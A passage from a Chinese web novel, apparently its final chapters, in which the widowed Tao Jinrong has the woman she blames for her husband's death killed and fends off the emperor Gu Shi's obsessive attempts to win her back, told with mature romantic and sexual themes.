她想起来,顾时竟然以为她死了,恐怕这些日子里他也心里不好过。 可是她却没死,他还能再见到她,甚至还能亲吻她,拥抱她。 可她爱着的秦思昭却是货真价实的死了,她再也见不到他了。 凭什么啊…… 好不公平…… 她长睫颤了颤,猛地抬起眼,紧紧盯着顾时,双眼里满是嫉恨。 凭什么她要被寂寞孤苦折磨,而他却能沉浸在失而复得的喜悦之中,若无其事地向她示好求爱? 真是让她难受! 她开始恨,开始恨顾时还爱着她,恨自己还活着,她看见顾时那张既渴望幸福,又畏惧幸福的脸,就浑身别扭。 陶金荣把手放在自己的胸膛上,深吸了一口气,怨恨地看着他。 离开他的时候什么都是好好的,可是只要摊上顾时,就没有好事!她就会变成和他一样畸形的人! “顾时,我不会和你在一起的,无论你说什么都不会,你死心吧。” 她一字一顿地说道。 被她这么一说,他反而平静了,只怔怔地盯着窗外的一行大雁飞过天空。 “……” 真是话不投机半句多!陶金荣发泄似的把桌子上的锅碗瓢盆一股脑地摔到了地上,在安静的屋内发出尖锐的响声。 “和你在一起我就会变成这样!你懂了吧!你懂我为什么不愿意和你在一起了吧!” 他转过头来,依旧是怔怔地看着她,问道: “这有什么不好之处吗?” 陶金荣瞬间觉得气不打一处来。 顾时总是激起她内心的阴暗面,并且还颇为乐在其中。 他对地上稀里哗啦的碎片视若无物,平静地说道: “泠川,这里条件确实差了些,咱们一起去李县丞的府上住几天,随后便回京。” 听到这话,陶金荣的双眼忽然闪了闪,那长睫如同落了水珠的叶子一般,猛地一颤,又抖了三抖。 她忽然笑了起来,脸上平添了几分冷艳滑媚,看到这笑容,顾时忽然没来由地被刺了一下,打了个寒颤。 “带我一起去吧,顺便也让我再会一会那李县丞的夫人,我可有好多话想跟她再说一说呢。” 她的声音娇媚,高昂中带着几分迫不及待,可顾时听得心里瘆得慌,却也说不出什么来,只低声道: “好,一切都依你。” 他松了松肩膀,抬起头看着陶金荣,用眼神和肢体动作暗示她来抱自己一下。 她厌恶地看了他一眼,勉为其难地伸出胳膊轻轻搂了他。 不过是这么点事,就笑得那么开心……他越是高兴,她心里就越觉得难受。 李县丞的府上还是那个样,她刚迈出左脚踏过门槛,就感到一阵冷意,仿佛秦思昭临别前的那个吻又落回了她唇上似的。 周围人来人往,她却觉得十分孤独。 顾时似乎看出她情绪不对来,对着她伸出了手,示意她拉着他,可她却理都不理,把手缩回了袖子。 一个圆滚滚的妇人脸上堆满笑容走了出来,端正地行了个礼: “参见陛下。” “李夫人,别来无恙啊。” 一个尖锐,冷血,压抑着杀意的声音响了起来,听得她瞬间身子一软,惊恐地抬起了头。 是陶金荣,她举止亲密地站在顾时身旁,居高临下地盯着她看,简直就像是在替他受礼一般。 她为什么会在这里?! 李夫人的眼珠飞速转了一圈,那日陶金荣说的疯话她是一个字都不信,这世上哪有这般古怪离奇的事。 一定是她用了什么下三滥的手段,凭着有几分姿色攀上了高枝。 李夫人觉得眼前白了白,瞬间天旋地转,连忙磕了三个响头。 “秦夫人,之前多有得罪,还请您大人有大量,不要计较。” 顾时的脸色忽然沉了下来,低声问道: “你叫她什么?” “陛下可能有所不知,这位娘子早已是秦举人的夫人了。” 她又在地上磕了两个响头。 想必陶金荣为了攀高枝,早就隐瞒了自己早已婚配过的事实,不然陛下怎么可能看上有夫之妇呢。 听了这话,金盏忍无可忍翻了个白眼。 蠢货!真是哪壶不开提哪壶!人家正是想亲近的时候,轮得到你来指手画脚? 眼瞧着顾时的脸色越来越差,金盏真怕他忽然昏过去,赶紧打圆场说道: “陛下现在身子刚好一点,不能在这里久站吹风,若是寒着了那就不好了。姑娘,您赶紧把陛下扶进去休息吧,有什么事咱们之后再说,反正金簪子掉在井里头,该是您的还是您的,什么事儿晚点再收拾都不迟。” 她同情地看了一眼李夫人,真是大难临头,一下子得罪了这么两位祖宗。 陶金荣叹了口气,什么都没说,只搀着顾时先回屋休息。 “顾时,你在屋子里歇着吧,我有点事要办,暂且借你的侍卫一用,六百两银子够不够借一次的?” 她从袖子里掏出来了六百两的银票。 “够,我准你借一次,可你得先告诉我,她和你有过什么过节?” “……” 陶金荣沉默了半晌,说: “女人之间的矛盾,你还是别听了,总之先借一下。” “怎么,她长成那个样子,难不成还能勾引你相公?” “别瞎扯。反正银票我已经准备好了,就算你不来,我也要雇别人收拾她的。” “真稀奇,从前别人得罪了你,也不见你要别人的命,究竟是多大的仇,能让你恨成这样?” “你现在身子弱,要是知道了,我怕你活活吓死,你还是别知道比较好。” 陶金荣阴沉着脸,握着银票走了出去,随便找了个侍卫,把这银票往他手里一揣,说道: “六百两,帮我杀个人。” 那侍卫吓了一跳,道: “这……这……我做不了主……” “陛下同意了。” 一个声音从陶金荣的身后传了过来: “我是同意了,只是,我要和你一起去。” 那侍卫赶紧跪下行礼,陶金荣皱起眉,转身说道: “你不是晕血吗?病刚好一点,站都站不稳,来凑什么热闹?到时候还没怎么着,先自己腿一软昏过去了。” “未必要从头看到尾,让侍卫收拾干净就行。” 他对着侍卫笑了笑,道: “把她的银票收下吧,这次是她雇了你,不是我帮了她。” 陶金荣小声嘀咕道: “终于说了句人话。” 顾时轻轻扫了那侍卫一眼: “把其他人都支走,到时候手脚干净一些,嘴巴也严实些,什么都不许往外说,明白吗?” “是……” 李夫人双腿一软,跪在了地上。 顾时坐在主位,陶金荣站在他身后,还有一位带刀侍卫就站在自己身旁,她顿时感到大事不妙。 陶金荣瞥了她一眼,冷笑: “李夫人,虽然这也没什么光彩的……可是我哪里有骗过你半个字?我那日说的,字字属实,绝无半句虚言。” 第125章 李夫人额头上满布冷汗,心中大叫不妙。 “我那日……我那日只是怜子心切,想赶紧救我家儿子,不是真的想要夫人性命,您看,最后我不也没对您做什么吗?您还好端端的,怎么能要我性命呢?” “说清楚。” 顾时冷冷道: “把所有你怎么得罪了她的事全都说清楚。” 李夫人猛地吓了一激灵,往地上猛磕了几个头,口不择言道: “陛下,我相公于朝廷没有功劳也有苦劳,您不能为了一个女人而伤了臣子们的心呀。” 顾时不耐烦的一瞥,道: “别在这儿东扯西扯,我不是叫你把怎么得罪她的事儿全都说清楚吗。” “就是……就是……” 李夫人大喘着粗气儿,冷汗密密麻麻地从额头上流下来。 “那日我儿生病了,我求秦大人把我的儿子治好,只是没想到秦大人他他治到一半就自己先不行了……不能怨我呀……” “我从没想过要……要别人的性命……不过是当母亲的人怜子心切罢了。还请陛下明鉴!” 陶金荣懒得听她东扯瞎扯,就算她再有苦衷跟她也无关,还不如赶紧动手算了。 她怜子心切,可秦思昭也是别人的儿子,这人世间除了她还有谁能怜惜他呢?。 她直接走上去拔出侍卫腰间的刀,说道: “顾时,你先回避一下吧,我怕你晕过去。” “何必自己亲自动手,叫侍卫收拾干净就行了,以免落人口实。” 顾时怀疑她是在拿李夫人练手,什么事情都是一回生二回熟,熟练了之后就能杀他。 他用眼神示意了侍卫,道: “我带着她先走,你自己下手干净些。” 那李夫人大哭大叫: “陛……下,饶命啊!” 一句话却还没说出口就被捂住了嘴,剩下的话都呜呜咽咽地被堵在了口中,侍卫已经彻底控制住了她。 陶金荣明显对他的决定有所不满,皱起眉头。额头上的青筋都鼓了起来,如果可以的话她想亲自动手,杀死有血仇的人并不会让她做噩梦。 她的前半生是顾时毁掉的,可毁掉的并不彻底,还能自己把自己救出来,可后半生的希望却是被李夫人彻底毁了。 这样的仇恨她绝对不可能原谅。 顾时似乎注意到了她的情绪,把手放在她的后背上轻轻的拍了两下,安抚道: “我只是怕你落人口实,而且一些事儿也弄不利索,我只想听你仔细把前因后果说一遍,跟我走吧。” 得知秦思昭死了之后,顾时的心里就觉得忐忑不安。他心里直打鼓。如果他还活着倒还好,可他却死了! 就算是作恶多端之人,等他死了之后,旁人也能给他找出三分优点来。更别提他活着的时候就已经跟陶金荣非常恩爱,死了那更是…… 活人就彻底比不过死人了。 顾时反倒是希望秦思昭还活着,并且彻底抛弃了陶金荣,那样的话她迟早会被他哄回来。 他看着陶金荣脸颊的晒斑,怔怔地出神,怪不得她憔悴了这么多,原来是因为他死了的缘故,眼睛中多了几分怜惜之情。 拉着她走进了寝房内,他给她倒了杯茶,等着她开口。 她没动那杯热腾腾的茶水,自顾自说道: “县里闹疫病,她儿子得上了,死了,秦思昭治不好,她就带了一堆人把我抓过去,用我的性命要挟秦思昭把她儿子救活。” 她嘴角颤了颤,一行泪流了下来: “然后……然后秦思昭为了我能保命,透支心力把她儿子救活了,之后就……之后就……他就那么没了……究竟凭什么啊!” 她咬紧牙关,手握拳,狠狠捶了一下桌子,方才落在桌子上的泪珠也跟着颤了起来。 “可能她看我是一个孤苦伶仃的寡妇,认定我没能力报复她,便放我走了吧……” 他眼睫也跟着一颤,心中酸楚不已,轻轻的拥抱住了她,在她耳边轻声说道: “真是辛苦你了……一个人这么久,真不知道你是怎么熬过来的,我好心疼你失去了一个爱你的人。” 此话虽有惺惺作态的成分,可却作不得假,虽然心中确确实实有许多自私,可他是真的不希望她受伤。 而且敢拿她的性命来要挟秦思昭,这李夫人也确实该死。 他后悔让她死得这么轻松了。 她厌恶地推开了他,皱了皱眉道: “装模作样!我看你幸灾乐祸还差不多。” 他知趣的把手伸了回来,他知道她现在正处于极大的悲痛之中,自己现在绝对不能贸然接近她,一旦强行接近,又会遭到她的厌烦。 “听了你说的,我觉得那李夫人的儿子也该死。” 她摆摆手说道: “那就算了吧,他还是个小孩子呢,一码归一码,他是无辜的。” 顾时想到那李夫人曾一度威胁到了陶金荣的性命,就觉得又后怕又厌憎,伸手摸了摸她发簪上的流苏道: “搬回京中住吧,这里实在是太偏远了些,很多事情都不方便,你放心,你不想做的事情我绝对不会逼你。” 听到京中二字,陶金荣就觉得心烦,她知道到时候肯定又是金盏七嘴八舌的把她一顿劝,她想不回去都不行。 “再说吧,老娘爱去哪儿去哪儿,跟你没关系。” 顾时确实没再叨扰她,只安安静静地自己歇下了。 这几日里,他只一心养好身体,早上微笑着摆一摆手跟她打个招呼,态度亲切又不过分亲切,温柔又尊重,整得陶金荣又莫名其妙,又浑身别扭。 金盏站在一旁端茶倒水,她满脸烦躁,又心烦又无奈。 说实话她知道这个活迟早得落在自己身上,她想不接这个活都不行,因为除了她之外没人能做到。 可是劝陶金荣回去岂是那么容易的一件事,她若是真贪恋荣华富贵,怎么能干得出跟人私奔这种事呢? 坐在镜子前面,她就像之前一样给陶金荣梳头。 她的头发不像从前那般跟缎子似的柔顺,变得粗糙了几分,又长了几根白发。 啊……她那个情夫去世了,摸着她的头发,金盏仿佛恍然大悟了一般。 原来这根白发是为了他而生。 金盏想说几句安慰的话,又把话咽回到了肚子里,沉默地给她梳妆。 经历了那么多事,克服了那么多困难,却是这样的结果,恐怕她很难走出来了吧…… 她觉得顾时希望不大了。 至于交给她的工作她还是得做一下,至于结果怎样,那她就控制不了了。 金盏犹犹豫豫地开口: “姑娘,毕竟这里条件太差了些,咱们还是回去吧,横竖也不可能亏待了你什么,你就回去吧。” “别劝了。” “……” 金盏眨了眨眼,她实在不知道自己在陶金荣的心中到底算不算得上姐们儿,毕竟她嘴里一句她的好话都没说过。 若是她打感情牌,不知道能不能有用…… 使劲吸了口气,金盏开始酝酿情绪,情绪实在是不够,索性打了个哈欠,把眼泪逼出来。 “姑娘……你不知道你不在的时候我们过得有多提心吊胆……陛下他稍有不快便拿我们出气,动辄要打要杀,你不在没人给我们做主……” “求您了……我给您跪下都行,您若是不回去,保不齐他第一个拿我开刀。” 金盏的哭声听得陶金荣十分头疼,她双手按压着太阳穴,心中止不住的烦躁。 “得了吧你!我就知道你肯定会给我来这一套,我实在是受不了了。” “真的……他以为你死了之后就成天发疯……除了你谁能制得住他啊……不管怎么样……你先回去吧!” 陶金荣索性钻被窝里装死: “你别吵,我再睡一会儿。” 一连几日,金盏见了她便哭,要么是嚎啕大哭,要么是暗自垂泪,实在是弄得她不厌其烦。 终于,金盏哭得陶金荣忍无可忍了: “别嚎了!别嚎了!我回去,我回去还不行吗!” 金盏终于破涕而笑,拍手道: “这便好了。” 她安顿好秦思昭余下的产业,可虎子似乎非常不情愿她走,脸色一直很差。 因为愧疚心,陶金荣低下了头,她虽然没有什么义务照顾他,可心中确实觉得很不畅快。 “虎子,大黑就拜托你照顾了。” “哼,你不仅不带我走,连狗都不要了……” “你真当是什么好事儿呢?到时候得罪了人,连怎么死的都不知道。” 她嗤笑了一声,掩盖心中的不快。 反正顾时有的是钱,这一路上各方面的条件倒是很好,他无论什么时候也没在吃穿上苛待过她,她倒也吃喝得心安理得。 特别是想到李夫人已经死了,她心里就觉得痛快,就是可惜没亲眼见证那一幕。 第126章 陶金荣这几日倒还比较自在,可金盏却觉得惴惴不安,见了她手不是手,脚不是脚,站不是站,坐不是坐,索性干脆绕着她走。 她每每看到陶金荣就觉得对不住她。 老天奶呀,她真的因为她一顿哭闹而回来了,那岂不是她真的拽她进了火坑。 陶金荣和顾时之间的种种过节,除了她之外,没有另一个人更清楚了。金盏心中也暗暗知道两个人之间矛盾太多难以为继,顾时算不上她的良配。 但金盏也没什么办法,她还要命,她还要吃饭,她只能这个样子了。 金盏暗暗下定了决心,如果她继续偷情,不管找了几个情夫,她一定不管,甚至还要帮她打掩护。 不过这几日陶金荣和顾时之间也没什么交流,见了对方,每每都是生疏客气的样子,打打招呼便走过去了。 这种怪异的和谐感让金盏感到非常奇怪。 她心里觉得不对劲呀,过去这个时候你们不是早就滚到一起了吗? 顾时心里到底打的什么鬼主意? 她鬼鬼祟祟地摸到了顾时身边,行了个礼,假装用帕子拭泪道: “陛下……我说了好多过去的种种,才终于说动了姑娘……” 这话除了邀功之外,没有什么别的意思,加钱,加钱,还是加钱。 顾时也心领意会: “下半年月钱翻倍。” 听到这句话之后,金盏心中的愧疚顿时消散了大半。 就算说要撮合他们*,她其实感觉自己也没有那个本事。还是划到手里的钱最重要,最实在。 回到了京中,陶金荣搬进了一套不大的宅子里独居,金盏也跟着她,说实话她有些好奇这宅子到底是谁的,开口便问: “姑娘,这是哪里来的宅子?” “阿昭的。” “哦,就是你那个情夫?” “别瞎说,我们拜过天地洞过房,他就是我丈夫,我跟顾时才是纯姘头吧。” 想到自己下半年翻倍的月钱,金盏就聪明地闭了嘴。 吃穿用度全都有人送来,什么都不缺,日子就平平淡淡地这么过了一个月,金盏每日撸猫,摸鱼,过得好不快活。 虽然她也不知这段日子顾时为何这般消停,可只要他能消停就是好事,于她而言,闲着的时间越长越好。 不过她和陶金荣都知道,顾时迟早会作妖。 陶金荣似乎没事情可干,非常无趣,便隔三差五地带着金盏往戏班子跑。 说实话那戏咿咿呀呀的没什么意思,陶金荣也觉得很没意思,可有点动静总比死沉沉的好,也只能通过看戏来打发下时间。 可今日不知为何,戏班子却停业了。 站在戏班子的门口,陶金荣叹了口气: “白跑一趟。” 不远处停着一辆月白色的马车,金盏瞧着这辆车莫名其妙地觉得眼熟。 那马车撩起了帘子,她和里面那人的眼神对上,便瞬间心领意会,想到自己下半年翻倍的月钱,就带着陶金荣往马车那边的方向走了。 马车里忽然伸出一只手,直接把陶金荣拉了上去,她还没反应过来,就已经被一阵熟悉的香气包围,一转头,便和顾时四目相对了。 他今日似乎是精心打扮过的,眉毛修得干干净净,整整齐齐,找不到半点杂毛,明显把自己从头到脚仔细地打理了一遍。 真是图穷匕见…… 陶金荣心里暗暗骂了几句,真当她看不出他打的什么鬼主意么。 “泠川,似乎你最近很喜欢看戏么?” “第一,别那么叫我,第二,能先松开我的手吗?” 她低下头,看见顾时的手紧紧扣在了她的手腕上,玉白色的手背上有一层浮雕似的青筋,凹凸错落。 “那我该怎么叫你?” 顾时完全忽略了她刚刚说的话的后半段。 “直接叫我陶金荣。” “好吧。” 顾时看似妥协了,实际上还是没有松开她的手,她既厌烦又嫌恶,把手往回抽了一抽,可他的手却握得更紧了些。 “你是不是很喜欢一个艺名叫紫烟的戏子?” “没有,不过是多看了几场他的戏罢了,再说最近但凡是像样的剧本,都捧紫烟来做主角,我想不看都不行。” 她不知顾时忽然问她这个是什么意思,只把脸撇到了一边去,说道: “其实我也没有那么喜欢看戏,不过是打发打发时间罢了,是谁来演主角对我来说都无所谓。” 顾时的呼吸难以抑制地变得急促,脑内疯狂运转,心脏砰砰跳着。 陶金荣的回答在他的意料之外,他下一句该说什么好? 他是该说:秦思昭还尸骨未寒,你竟然就看上了别的戏子……不过也无妨,如果你喜欢,我帮你包下来也无所谓,只要你开心就好。 还是该说:你若是喜欢谁,我便请他来宫中唱戏,和你一起同看? 好像都不怎么合适…… 她的手腕纤细,骨头微微凸出,硌着他的手心,顾时觉得自己的手心出了汗,十分不雅。 他的心跳得越来越快了…… 她今日穿着一身青绿色的衣衫,无半点妆饰,十分素净,她的眼皮似乎不想出力,只微微睁着,似是而非地打量着他。 顾时咬了咬下唇,问: “你喜欢我今日身上的香薰么?” “勾栏做派。” 她把手抽回来,忍无可忍地推了他一把。 顾时净使这种下三滥的小伎俩,这香薰分明是之前他们在榻上常用的,他就想利用这种熟悉的香气来勾起她熟悉的记忆。 伎俩被识破,他充满怨念地盯着她看,心想自己下一句究竟要说什么才好…… 难道他要说:“怎么,你怎么对勾栏这般的熟悉,难道你是那里的常客?” 感觉很不合适……若他这般口无遮拦,那她非要恼了他不可。 他索性握住她的手,放在了自己胸口上,让她摸着他清晰分明的锁骨,说道: “勾栏做派就是做给你看的……你能接受么?” “别来别来,离我远点吧!” 她想把手往回缩,却被他狠狠按住,往领子里去摸,她摸到了他锁骨上的那个伤疤,一阵疼痛让顾时打了个激灵,他嘶嘶地吸着气说道: “你记不记得我这里有个疤,就是你用簪子穿过去的,现在我把你的银簪还给你。” 他从袖口中掏出了一根银簪,塞到了她的掌心里。 “哦……” 看着这根熟悉又陌生的银簪,陶金荣沉默了,她没想到有朝一日这根银簪还能回到她的手中。 “我很孤单,你陪陪我可以吗?” “……” “不干别的,就在这陪我坐一会儿,单纯陪陪我。” 顾时把自己的下巴靠在了她的肩膀上,闻到了她身上干净的皂角气息,这气息跟昂贵奢靡的香薰截然不同。 可是头靠上去了,手也不老实,他环住了她单薄的身躯,紧紧抱住了她,感受着她的体温。 “你管这叫不干别的?” 被这么一抱,陶金荣虽然心理厌烦,可身体也确确实实出现了难以言说的反应。 他的一只手开始在她的腰侧游走……她实在是受不了了,抬起手扇了他一耳光。 打都挨了,顾时更是肆无忌惮了起来,把手往她腰带里伸,可膝盖上又挨了一脚,他只好收回了手,讷讷地说道: “对不起,我不乱碰了。” 陶金荣红了一张脸,咬着鲜红欲滴的嘴唇,只觉得自己的盆骨连带着小腹一带开始酸胀,可越是这样她心底就越气,照着顾时的头就是两巴掌,把他精心收拾过的头发全都打散了。 挨打也在意料之中,顾时只象征性地挡了挡,又把散下来的头发撩到耳后去,凹出了一个优雅的仪态来。 就算是挨打,也不能挨得难看。 “滚蛋!” 她嘴里一边骂,一边整理好自己的腰带下了马车。 刚下去,看见金盏那张心虚的脸,鬼鬼祟祟的样子,她就顿时气不打一处来,皱着眉头,指着她的鼻子骂道: “你们两个早就串通好的是不是?” 金盏知道自己再多解释也无用,缩了缩脖子,怯生生道: “姑娘,我也是没办法。毕竟是他给我发月钱呢……” 她气冲冲地走了,她也只得讷讷地跟上。 到了夜里,陶金荣独自入睡,越发觉得酸胀难耐,辗转反侧,甚是难眠。 这样憋着恐怕也对身体不好……她咬了咬牙,索性把手伸到被子下面去。 …… 结束后,陶金荣的脑子里昏昏涨涨,没来由地想起顾时嘴角那抹得逞了似的微笑,心里觉得十分来气。 凭什么她在这里烦得不行,他却那么高兴啊? 他使出那种下三滥的手段来诱惑她,无非是想走捷径,通过这种下流的方式在她这里找存在感。 究竟怎么做才能给他找点不痛快呢…… 她要不要假装再找一个情郎,给顾时添一添堵呢?这样就能让他知道自己无论哪个方面都不需要他了。 次日,她又去了戏班子,单独付了笔钱,坐在包厢里,她知道自己身边肯定有顾时的眼线盯梢,她的一举一动都会被其他人报告给他。 不过这也正合她意。 平日里她都是怎么素净怎么来,不想引起别人的注意,可今日她偏生好好打扮了一番,可以称得上是耀眼夺目。 一出戏结束后,舞台上的主角紫烟卸了妆,走下来挨个包厢微笑问好。 紫烟走进来,陶金荣瞬间愣了一下。 那人眉眼间颇有几分像秦思昭……可毕竟是长期混在纸醉金迷里,身段上多了几分浮媚之气,笑容里也有几分谄媚讨好,不似秦思昭那般神色清正朴实。 她知道秦思昭本质上是个朴实正直,且没太多小心思的人,和这种奇优名倡简直风马牛不相及。 说实话这种既像一个人,又不是一个人的感觉,让陶金荣觉得有点恶心。 可想起她的目的不是真的和他发生什么,而是给顾时添堵,她就咬咬牙,勉强自己露出一个笑容: “您长得很像……我的一位故人……这个送给您吧……” 她知道这种戏子本质上只认钱,不值钱的东西看不上眼,所以便送了一个小金锁,走上前去,亲手挂在了他的脖子上。 紫烟没想到这样的美人会亲自给他戴上小金锁,瞬间受宠若惊,睫毛颤了一颤。 说实话这感觉实在是很别扭,陶金荣往后退了两步,撇开了脸。 他小声说道: “您……若是还待字闺中,和我产生什么接触恐怕是对您的名节不利吧……” 紫烟目前正当红,确实有两个家里富裕的大小姐恋上了他,又被家里抓回去一顿好打。 “无妨……我丈夫去世了……” 她是一个富裕且守寡的年轻美人……紫烟顿时瞪大了双眼,可逢场作戏早就成了他的本能,看到她眼睛里流露出的一丝悲痛神色,便也做出了一副感伤的样子,道: “夫人趁早走出来吧,恐怕他在天上也不希望您太难过了。” “啊……嗯……” 和这长得和秦思昭少说也有五分相似的戏子说这种事,她简直觉得说不出的古怪,陶金荣随便找了个借口,匆匆走了。 她找了个摊位,买了杯甘蔗水,一口气喝了下去,不为了别的,只为了洗洗肠子。 实在是恶心,她不想再来了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第127章【全文完】 第127章 陶金荣实在不想看一个莫名其妙的陌生人顶着一张秦思昭的脸惺惺作态,就算心中想利用他膈应顾时,身体上也实在是做不到,痛苦地在家里干躺了几天。 金盏鬼鬼祟祟地进了屋,双手握住她的手腕,像拔萝卜一样把她从床上拉起来。 “姑娘!姑娘!他来找您了……” 大早上的,陶金荣被强行从床上拉起来,颇有些起床气,叫骂道: “抽什么风,就算是天王老子来了,老娘也要睡觉!” 骂完后,她钻回了被子里,扯了两下被角把自己裹紧,像毛毛虫一样蠕动了两下。 这个态度分明就是——宁死都不起床。 她一头扎回梦乡,浑然不知,卧房的门口有一个人正透过缝隙悄悄窥视着她。 阳光斜斜地照进屋子里,顾时只能看见厚厚的被子勉强勾勒出一个人影,她头发散乱,睡得不知天地为何物。 鬼知道这些日子里,她是一个人睡的还是两个人睡的…… 听闻她打赏了一个正当红的戏子,他昨日里便特意去瞧了一眼。 那戏子竟然长得和秦思昭有七分相像…… 顾时不禁咬紧了下唇。 若她是想玩个面首,那便玩吧,大不了他睁一只眼闭一只眼就是了,反正他忍来忍去也习惯了。 可是若是她再对旁人动了真情,他接受不了。 就算接受不了也没什么办法,他根本拿她没辙…… 低下头看见她睡得七荤八素的脸,他没忍住用指尖戳了两下。 “金盏,别弄我!” 陶金荣烦不胜烦,顾时却觉得猛地松了一口气。 还好她嘴里没叫出别的男人的名字。 莫名其妙地,他趁她打哈欠的时候,把手指塞进了她的口中。 “咔……” 陶金荣被口中的异物感一下子惊醒了,睁开双眼,直接对上了一双充满怨念的眼睛。 好在他伸进她口中的是手指,而不是什么别的东西……陶金荣嫌弃地翻了个白眼,把他的手指从口中吐出去。 不然她非得要把它咬断不可。 “顾时,你来干什么?别打扰我睡觉。” “都什么时辰了还睡?难道你昨晚很忙?” “忙不忙也轮不到你来管。” “陶金荣,你跟我说实话,这些日子里,你是一个人睡的还是两个人睡的?” “两个人,有时候是三个一起……你放心,我只让他们动口动手地伺候我,不会怀孕的。” …… 听到她这番乱糟糟的话,顾时的睫毛微微颤了颤,沉默了半晌。 他拽了拽她的衣袖问: “要我怎么做你才愿意重新和我在一起?” 顾时鼻子一酸,就算她现在就同意他的要求,重新嫁给他,他觉得自己和她也回不到过去了。 他所有安全感早已被悉数破坏,他再也不相信她爱他,更回不到那个他肆意挥霍她的爱的时候。 从今以后,他将会永远活在一个只有自己爱陶金荣,陶金荣不爱他的世界里,不安地活着,生怕自己做错了半点惹她不快…… 陶金荣忽然嗤笑了一声: “我都说成这样了,你还想着重新跟我在一起,你究竟图什么呢?” “我不在乎,反正早就这样了,一个和两个没什么区别,随便吧。” “你是不是太高看自己了?就你那两下子,还想满足得了我?” 陶金荣开始恶毒地攻击他的下三路。 “……” 他抿了抿嘴说道: “你刚才也说了,想高兴也未必要用到那处,再说大不了我可以吃药。” 见顾时这般油盐不进,刀枪不入,陶金荣也只好叹了口气,换上了严肃的口吻道: “早就没戏了,以后咱们各过各的,别纠缠我了。” “我不想和你分开,你必须帮我想个办法。” “我想不出来。” 一行泪从他的眼眶里落下来,他撇过脸去,重新强调了一遍: “你必须帮我想个办法,我只想和你结婚,别的都不行,没得商量。” 他用手背抹了抹脸上的泪水,继续说道: “你不是说过想要在月季盛开的时候和我结婚吗?现在还算不算数?” 陶金荣忽然愣了,她何时说过这话? 她忽然回过神来,噢,原来好像是之前她随口提过一嘴……可是当时她不知道顾时想娶的人竟然是她呀,才胡乱编的。 其实她根本不喜欢月季,也不想和他结婚。 “我根本不喜欢月季,你别瞎说了。” “那你喜欢什么?什么时候都可以,但是你必须要和我成婚。” “我既不喜欢月季,也不喜欢你。” 他用她的衣袖擦着眼泪: “和你分开我会很痛苦,但和你在一起我会更痛苦。但不知道为什么,两个选择同时摆在我面前,我竟然想选择更痛苦的那条路。” “我不知道为什么,能求你告诉我吗?” 陶金荣满脸烦躁地说: “因为你是个有怪癖的受虐狂。” “不管你对我说什么,我都再也没办法相信你爱我了。” “那就对了,看来你脑袋还没出毛病。” 顾时不停地抽泣。 “告诉我,你还会爱上别的人吗?” 陶金荣仔细想了想,决定告诉他实话: “会。” “那你可能会爱上的人里包括我吗?” “……” 陶金荣沉默了,说实话,她不知道这个问题的答案,只是非常想伸出手给他拭泪。 可擦了几次,他脸上的泪珠都好端端地挂在原地,她才发现自己的手竟然一直在发抖。 她忍不住开始想,如果她真的跟顾时重新在一起,他们两个之间最痛苦的人究竟是谁? “顾时,我再想想吧,回头再告诉你。” 她想起来顾时曾经确实是莫名其妙的搬来了很多月季。她当时还不解其意。没想到竟然是他误会了她喜欢。 他紧紧抱住了她,她只觉得自己的七魂六魄离身体越来越远,怔怔出神。 她只轻轻拍了拍他的肩膀,低声道: “回去吧。” “陶金荣,我心里清楚,只要我重新拥有了你,我就会永远活在随时可能失去你的恐惧里,那样真的是太痛苦了……” “但是我依然想和你成婚……我根本不知道为什么,可能我就是在赌气,凭什么你跟秦思昭拜过天地,却没有跟我拜过,明明是我先来的。” 他用帕子擦了擦双眼,他不想自己哭得太难看。 陶金荣冷冷地把他的话噎了回去: “不是你先来的,我们从小就认识。” “我就是想不明白……我想不通……” “想不通,就像牲口一样将就活着,驴子也想不通自己为什么每天都要拉磨,赶紧回去吧。” 陶金荣不停冷言冷语,顾时却没觉得自己是在自讨没趣,双手捧着她的下巴,轻轻亲吻了一下她的侧脸。 她指甲嵌入他的脖子。手指用力,挠了几道红印,他却不管不顾,轻轻张开双唇,给她看自己舌头上的银钉。 “我穿了舌钉,做什么都可以,你想试试吗?” “没兴趣。” “舌钉如果被咬住的话会很痛很痛。你想咬一下试试吗。” “不想,你赶紧回去吧。” 她用冷硬的态度把他拒之门外,他也只能灰溜溜地回去了。 陶金荣站起来,看着窗外,天气已经转冷,不似前几日似的凉快,顾时早就派人送了冬衣来,屋里炭火也很足,她在屋子里感觉不到那刺骨的寒意。 她的手指在窗棂上焦躁不安地敲了几下。 秦思昭已经去世,她没有精神崩溃,没有哭天喊地,一个人默默地扛住了,她照样能干活,能开玩笑,会撒欢,有时候她觉得自己很了不起,可有时候她又觉得自己是不是过度冷静了些……她爱他,按理来说她不该这么冷静的。 人生毕竟不是戏台子,不会一个死了,另一个就整日大喊大叫地发疯,躺在床上如同病入膏肓了一般,更不会像大雁那样,一个没了,另一个干脆一头撞死。 她的痛苦不是那样的,痛苦就像影子,平日里看不见摸不着,可只要她一扭头,就会发现它永远在她的身后,没有消失。 有时候甚至她都意识不到,可却在生活的许多细枝末节上受到了影响……那些阴影时不时的就会从背后冒出来,操控着她。 她已经不是当初那个无助受骗的小孩子了,她能挺过去,可人不管长到几岁,挨了打还是会一样的疼。 陶金荣皱起了眉,她觉得镜子里的自己已经是一个线条有几分硬朗的成熟女人了。 可她依然不知道自己该怎么看待顾时……只要看见他的脸,她心底的阴影就会时不时冒出来操控她。 曾经他比她更强大,能任意摆布操纵她,但现在更成熟的人已经是她,他依然停留在少年时,可她比他先一步成长了,他被丢在后面,慌张失措。 她已经长大了,可却也不怀念青春。 现在,她甚至开始隐隐约约地嫌弃顾时幼稚了。 顾时其实说的没错,如果他们重新在一起,他才是那个更痛苦的人,他会永远生活在被抛弃的恐惧里,而她却会气定神闲。 他似乎代表了她的整个少年时代,十几岁的她就和他几乎一模一样,焦虑,无助,死死抓住那唯一的救命稻草。 这样的少年时代对于陶金荣来说没什么值得铭记留念的。 可是她每每看到顾时的眼睛,就会想起过去的那个自己。 这几乎可以称得上一场完美的报复,可她却开心不起来……这种感觉很不好,就像看见了一具凝结了全部过去的干尸。 她觉得,顾时也是时候应该向前看了……他总不能老是那个样子,人不人鬼不鬼,疯疯癫癫的像是要唱大戏。 …… 寝殿内,顾时用稻草扎好了两个一男一女的小人,上面分别写上了他和陶金荣的生辰八字。 曾经他也觉得这种巫蛊之术十分可笑,可现在他却除了这样做之外毫无办法,毕竟爱情不是算数科举,不是努力就会有结果,有时候人不得不去求助这种玄而又玄的力量。 下一步,该念准备好的咒语了…… “你在干什么?” 